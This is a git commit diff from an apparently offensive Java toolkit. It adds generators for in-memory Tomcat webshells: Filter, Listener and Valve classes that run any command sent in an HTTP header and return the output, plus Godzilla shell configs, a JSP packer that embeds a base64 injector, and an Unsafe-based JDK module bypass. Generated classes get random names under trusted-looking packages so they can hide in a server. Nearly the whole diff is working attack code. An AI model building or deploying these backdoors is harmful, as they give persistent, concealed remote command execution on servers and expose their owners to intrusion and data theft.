feat: support tomcat cmd shell and jsp packer

This commit is contained in:
ReaJason
2024-11-27 00:35:35 +08:00
parent 184bd1e9ad
commit a06eb2f869
32 changed files with 867 additions and 74 deletions
@@ -0,0 +1,55 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class GeneratorMain {
public static void main(String[] args) throws IOException {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.FILTER;
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test")
.build();
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
if (generateResult != null) {
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
System.out.println(shellConfig);
JspPacker jspPacker = new JspPacker();
String jspContent = new String(jspPacker.pack(generateResult));
System.out.println(jspContent);
}
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
switch (server) {
case TOMCAT:
return TomcatShell.generate(shellTool, shellType, shellConfig);
case BES:
break;
case RESIN:
break;
case JETTY:
break;
default:
throw new IllegalArgumentException("Unsupported server");
}
return GenerateResult.builder().build();
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.config;
import lombok.Builder;
import lombok.Getter;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Getter
@SuperBuilder
@ToString
public class CommandShellConfig extends ShellConfig {
@Builder.Default
private String headerName = "cmd";
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.config;
import lombok.Builder;
import lombok.Data;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@Builder
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
public GenerateResult encodeBase64() {
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
return this;
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class GodzillaShellConfig extends ShellConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String key = "key";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
public class ShellConfig {
@Builder.Default
private String shellClassName = CommonUtil.generateShellClassName();
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
@Builder.Default
private String urlPattern = "/*";
}
@@ -1,41 +0,0 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell {
public static final String SERVLET = "servlet";
public static final String JAKARTA_SERVLET = "jakartaServlet";
public static final String FILTER = "filter";
public static final String JAKARTA_FILTER = "jakartaFilter";
public static final String LISTENER = "listener";
public static final String JAKARTA_LISTENER = "jakartaListener";
public static final String WEBSOCKET = "websocket";
public static final String VALVE = "valve";
public static final String UPGRADE = "upgrade";
public static final String EXECUTOR = "executor";
@Getter
public static enum Godzilla {
/**
* Tomcat Filter
*/
Filter(TomcatShell.FILTER, GodzillaFilter.class),
;
Godzilla(String shellType, Class<?> shellClass) {
this.shellClass = shellClass;
this.shellType = shellType;
}
private final String shellType;
private final Class<?> shellClass;
}
}
@@ -0,0 +1,28 @@
package com.reajason.javaweb.memsell;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) {
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.constructor(ElementMatchers.any())
.intercept(fieldSets)
.make()) {
return make.getBytes();
}
}
}
@@ -14,7 +14,7 @@ import org.apache.commons.codec.digest.DigestUtils;
*/
public class GodzillaGenerator {
public byte[] generate(Class<?> godzillaClass, String godzillaClassName,
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
String pass, String key,
String headerName, String headerValue) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
@@ -6,7 +6,6 @@ import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.util.Objects;
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
public class InjectorGenerator {
@SneakyThrows
public byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(injectClass)
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
/**
* @author ReaJason
* @since 2024/11/26
*/
public interface Packer {
byte[] pack(GenerateResult generateResult);
}
@@ -0,0 +1,106 @@
package com.reajason.javaweb.memsell.tomcat;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.memsell.InjectorGenerator;
import com.reajason.javaweb.memsell.tomcat.command.*;
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import lombok.SneakyThrows;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell {
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String WEBSOCKET = "Websocket";
public static final String VALVE = "Valve";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
/**
* 哥斯拉 shell 生成的模板类以及注入器类
*/
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
static {
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
}
/**
* 命令执行 shell 生成的模板类以及注入器类
*/
public static final Map<String, Pair<Class<?>, Class<?>>> COMMAND_SHELL_MAP = new HashMap<>();
static {
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
byte[] shellBytes;
switch (shellTool) {
case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType);
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
godzillaConfig.getShellClassName(),
godzillaConfig.getPass(),
godzillaConfig.getKey(),
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue());
break;
}
case CMD: {
classPair = COMMAND_SHELL_MAP.get(shellType);
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
shellBytes = CommandGenerator.generate(classPair.getLeft(),
commandConfig.getShellClassName(),
commandConfig.getHeaderName());
break;
}
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
}
Class<?> injectorClass = classPair.getRight();
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
shellConfig.getInjectorClassName(),
shellConfig.getShellClassName(),
shellBytes,
shellConfig.getUrlPattern());
return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(shellConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.shellConfig(shellConfig)
.build().encodeBase64();
}
}
@@ -0,0 +1,48 @@
package com.reajason.javaweb.memsell.tomcat.command;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String headerName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandJakartaFilter implements Filter {
public String headerName;
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
}
@@ -0,0 +1,70 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.ServletOutputStream;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandJakartaListener implements ServletRequestListener {
public String headerName;
public CommandJakartaListener() {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,74 @@
package com.reajason.javaweb.memsell.tomcat.command;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String headerName;
public CommandListener() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memsell.tomcat.command;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
*/
public class CommandValve implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String headerName;
public CommandValve() {
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
}
@@ -77,7 +77,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
@@ -12,10 +12,15 @@ import java.lang.reflect.Method;
public class ClassUtils {
@SneakyThrows
public static Object newInstance(byte[] bytes) {
public static Class<?> defineClass(byte[] bytes) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
return (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
}
@SneakyThrows
public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes);
return clazz.newInstance();
}
@@ -32,4 +37,21 @@ public class ClassUtils {
method.setAccessible(true);
return method.invoke(object, parameters);
}
public static void byPassJdkModule() {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
Object module = getModuleM.invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module);
} catch (Exception ignored) {
}
}
}
@@ -2,6 +2,8 @@ package com.reajason.javaweb.util;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.SecureRandom;
import java.util.Random;
import java.util.zip.GZIPOutputStream;
/**
@@ -15,4 +17,42 @@ public class CommonUtil {
}
return out.toByteArray();
}
public static String getRandomString(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
SecureRandom random = new SecureRandom();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; i++) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
private static final String[] PACKAGE_NAMES = {
"org.springframework",
"org.apache.commons",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"org.apache.http.client",
"com.google.gso",
"ch.qos.logback"
};
private static String getRandomPackageName() {
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
}
public static String generateShellClassName() {
return getRandomPackageName() + ".ErrorHandler";
}
public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
public static String generateInjectorClassName() {
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
}
}
File diff suppressed because one or more lines are too long
@@ -18,8 +18,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
* @since 2024/11/23
*/
class GodzillaGeneratorTest {
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
@@ -29,7 +27,7 @@ class GodzillaGeneratorTest {
@Disabled("just for generate")
void testGenerate() throws IOException {
String className = "org.apache.utils.CommonFilter";
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/26
*/
class JspPackerTest {
@Test
void pack() {
GenerateResult generateResult = GenerateResult.builder()
.injectorClassName("hehe")
.injectorBytesBase64Str("hehe").build();
String jspContent = new String(new JspPacker().pack(generateResult));
assertTrue(jspContent.contains("String className = \"hehe\";"));
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
}
}
@@ -0,0 +1,26 @@
package com.reajason.javaweb.memsell.tomcat.command;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/24
*/
class CommandFilterTest {
@Test
void testGenerate() {
String className = "org.command.CommandFilter";
String headerName = "cmd";
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, headerName);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -18,8 +18,6 @@ import static org.junit.jupiter.api.Assertions.*;
* @since 2024/11/24
*/
class GodzillaFilterTest {
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
@@ -28,7 +26,7 @@ class GodzillaFilterTest {
@Test
void generate() {
String className = "org.apache.utils.CommonFilter";
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
@@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
* @since 2024/11/24
*/
class GodzillaJakartaFilterTest {
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
@@ -22,7 +20,7 @@ class GodzillaJakartaFilterTest {
@Test
void generate() {
String className = "org.apache.utils.CommonJakartaFilter";
byte[] bytes = godzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue);
byte[] bytes = GodzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
@@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
* @since 2024/11/24
*/
class GodzillaJakartaListenerTest {
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
@@ -22,7 +20,7 @@ class GodzillaJakartaListenerTest {
@Test
void generate() {
String className = "org.apache.utils.CommonJakartaListener";
byte[] bytes = godzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue);
byte[] bytes = GodzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
@@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
* @since 2024/11/24
*/
class GodzillaListenerTest {
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
@@ -22,7 +20,7 @@ class GodzillaListenerTest {
@Test
void generate() {
String className = "org.apache.utils.CommonListener";
byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
@@ -12,7 +12,6 @@ import static org.junit.jupiter.api.Assertions.*;
* @since 2024/11/24
*/
class GodzillaValveTest {
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
@@ -21,7 +20,7 @@ class GodzillaValveTest {
@Test
void generate() {
String className = "org.apache.utils.CommonValve";
byte[] bytes = godzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long